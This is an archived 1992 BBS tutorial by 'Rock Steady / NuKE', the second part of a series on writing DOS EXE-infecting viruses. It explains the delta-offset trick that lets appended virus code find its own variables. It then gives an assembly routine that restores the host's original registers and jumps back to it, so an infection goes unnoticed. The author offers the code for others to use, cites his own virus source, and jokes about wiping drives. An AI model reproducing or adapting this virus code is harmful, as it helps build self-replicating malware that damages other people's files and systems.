home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / programming / asm_programming / ART-F < prev    next >
Text File  |  1992-09-16  |  7KB  |  97 lines

  1.                       EXE Infectors Part II                                
  2.                       ~~~~~~~~~~~~~~~~~~~~~                                
  3.  The first part consisted on how to Infect the EXE file, from a resident   
  4.  virus. However, that is only HALF the code and understanding needed for   
  5.  EXE infectors. The part to follow, is on how to give control back to the  
  6.  original EXE file. This is one part of EXE infectors, that mostly EVERY   
  7.  ONE tend to forget to point out. Big tickle, you know how to infect the   
  8.  EXE, but can you make the original EXE run after its infection? Do you    
  9.  know how to restore the registers we took from the EXE header? Anyhow     
  10.  lets get going...                                                         
  11.                                                                            
  12.  If the Infected EXE file is now executed, the first Line of Code it will  
  13.  encounter will be the first byte of our Virus. Since CS:IP have been      
  14.  changed in the header (Part I) to point to our Virus. The first thing     
  15.  we will need to do, is set up a Variable offset, (As I call it). Basically
  16.  when TASM compiles our virus, all variables and other data locations are  
  17.  given a FIX address. Though in the case of the Virus this is NOT GOOD as  
  18.  viruses, tend to append themselves, and therefore variables are never     
  19.  in the same location...                                                   
  20.  Fig 1.                                                                    
  21.    (Original ASM Source)                                                   
  22.            CALL   doit_Now             ;Call PUSHes CS:IP addresses        
  23.  doit_now: POP    BP                   ;POP in BP the IP register          
  24.            SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile! 
  25.            MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!         
  26.            ...                                                             
  27.  variable  dd     55                                                       
  28.  When TASM Compiles the above Code it turns it into Fig 2. (Below)         
  29.  Fig 2.                          Fig 3.                                    
  30.    (Virus Just Compiled)                (Virus Infect to a file)           
  31.  1234:0100   CALL  1234:0103          1234:0100  JMP  500                  
  32.  1234:0103   POP   BP                 1234:0102  ...   (Infect File)       
  33.  1234:0104   SUB   BP,0103                       ...      ''    ''         
  34.  1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''         
  35.              ...                                 ...      ''    ''         
  36.  1234:0200   dd    55                 1234:0500  CALL 1234:0503            
  37.                                       1234:0503  POP  BP       (BP=503)    
  38.                                       1234:0504  SUB  BP,0103  (BP=400)    
  39.                                       1234:0507  MOV  AX,[0200+BP]         
  40.                                                  ...      (200+BP=600)     
  41.                                       1234:0600  dd   55                   
  42.  Later when the Virus infects a File, it will represent Fig 3. Now, when   
  43.  the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP    
  44.  so when it has to RETurn, all it has to do is POP back the CS:IP to know  
  45.  exactly where it left off! So we can take advantage of the command, by    
  46.  POPing back ourselves, thus this will give us the NEXT byte from the CALL 
  47.  command. which as you see, in the examples is our POP BP statement.       
  48.                                                                            
  49.  However when the Virus is Freshly Compiled, all Registers values are GOOD,
  50.  so that is why we must make BP=0 the first time, as the variables were    
  51.  set according to the sources, so no adjustment needed, though when we     
  52.  infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
  53.                                                                            
  54.  Boy, That was the HARDEST part of that, Now if you found that simple pat  
  55.  yourself on the back, as that is the only `BIG' Conflict people tend to   
  56.  disregard or forget. So any time while you are NOT resident but infected  
  57.  on the file, and you are running code from the infected file just use the 
  58.  that BP Variable Pointer, for any data being loaded... Now lets put the   
  59.  routine together, along with the routine to EXECUTE the original EXE file 
  60.                                                                            
  61.  ; After the Virus Has moved a copy of itself in memory, Control must be   
  62.  ; Given back to the Original EXE file we just infected... This is the     
  63.  ; Routine to do it..                                                      
  64.  exit_exe_file:                                                            
  65.          mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register        
  66.          mov     ax,cs                           ;Move current CS in AX    
  67.          sub     ax,bx                           ;Subtract for alinment    
  68.          mov     dx,ax                                                     
  69.          add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS          
  70.          add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS          
  71.          mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP          
  72.          mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP                   
  73.          mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)  
  74.          mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP           
  75.          mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS                
  76.          mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP                
  77.          db      0B8h     ;The Byte `B80000' is really a MOV AX,????       
  78.  Rock_Fix1:               ;???? is the Value of SS that we will put into   
  79.          dw      0        ;THIS LINE!                                      
  80.          cli                     ;Disable Interrupts (No Jamming)          
  81.          mov     ss,ax           ;Mov the AX (really SS) into SS register  
  82.          db      0BCh    ;Byte `BC0000' is really a MOV SP,????            
  83.  Rock_Fix2:              ;???? is the Value of SP that we will put into    
  84.          dw      0       ;THIS LINE!!                                      
  85.          sti                     ;Enable Interrupts                        
  86.          db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever    
  87.  fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then  
  88.          dd      0       ;the Virus does the JMP CS:IP to the Original     
  89.                          ; Simple huh?                                     
  90.  ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes 
  91.  ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
  92.  ; that looks like any of them Sources we see around. Though I give it to  
  93.  ; you to use.                                                             
  94.                          Rock Steady / NuKE                                
  95.    `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'  
  96.      `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'    
  97.